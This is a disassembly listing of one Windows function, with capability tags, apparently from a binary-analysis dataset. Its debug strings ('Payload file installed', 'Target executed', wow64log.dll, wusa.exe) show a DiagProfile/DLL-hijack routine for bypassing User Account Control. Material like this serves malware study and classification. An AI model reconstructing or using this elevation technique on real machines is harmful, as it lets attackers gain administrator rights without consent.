Function at 0x140015677
Capabilities:
Check if file exists
Create directory
Create thread
Get file attributes
Terminate thread

Disassembly:
jmp 0x14002f6b0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x788]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x1400796a4]
call fcn.140015b09
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x84], 0
mov qword [rbp + 0xa8], 0
lea rcx, str.___Entering_ucmVFServerDiagProfileMethod_r_n
call fcn.140015758
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x24], eax
mov rax, qword [0x140070bf8]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400151ea
lea rdx, str.hui32
lea rcx, [rbp + 0xd0]
call fcn.140015a96
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14002f7a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0xb7
je 0x14002f7a3
mov r8d, 1
mov edx, dword [rbp + 0x64]
lea rcx, str.____Could_not_create_directory_r_n
call fcn.1400159b5
jmp 0x14002f9cf
mov ecx, 0x420
call fcn.140015659
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002f7c3
jmp 0x14002f9cf
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x750]
mov qword [rax], rcx
mov rax, qword [rbp + 0xa8]
mov ecx, dword [rbp + 0x758]
mov dword [rax + 8], ecx
mov rax, qword [rbp + 0xa8]
add rax, 0xc
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.1400151ea
mov rax, qword [rbp + 0xa8]
add rax, 0xc
mov rcx, rax
call fcn.14001511d
mov rax, qword [rbp + 0xa8]
add rax, 0xc
lea rdx, str.results.cab
mov rcx, rax
call fcn.140015a96
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xa8]
lea r8, [0x1400150c3]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400704a8], rax
cmp qword [0x1400704a8], 0
jne 0x14002f890
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 1
mov edx, eax
lea rcx, str.____Cannot_create_worker_thread_r_n
call fcn.1400159b5
mov rcx, qword [rbp + 0xa8]
call fcn.140015bae
jmp 0x14002f9cf
mov edx, InitCommonControls
mov rcx, qword [0x1400704a8]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rcx, [rbp + 0xd0]
call fcn.1400151d1
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x14002f8d1
mov r8d, 1
mov edx, dword [rbp + 0x44]
lea rcx, str.____DiagProfile_does_not_trigger_r_n
call fcn.1400159b5
jmp 0x14002f9cf
mov eax, 1
lea rcx, [0x1400704b0]
xchg dword [rcx], eax
mov rax, qword [0x140070bf8]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400151ea
lea rdx, str.wow64log.dll
lea rcx, [rbp + 0xd0]
call fcn.140015a96
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002f930
lea rcx, str.___Payload_file_installed_r_n
call fcn.140015758
jmp 0x14002f952
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0xa
jb 0x14002f90e
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400151ea
lea rdx, str._syswow64_
lea rcx, [rbp + 0xd0]
call fcn.140015a96
lea rdx, str.wusa.exe
lea rcx, [rbp + 0xd0]
call fcn.140015a96
mov dword [rsp + 0x20], 0x1388
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.140015852
test eax, eax
je 0x14002f9c5
lea rcx, str.___Target_executed_r_n
call fcn.140015758
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002f735
cmp qword [0x1400704a8], 0
je 0x14002fa00
xor edx, edx
mov rcx, qword [0x1400704a8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x1400704a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x1400704a8], 0
cmp dword [rbp + 0x24], 0
jl 0x14002fa0c
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14005a820]
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret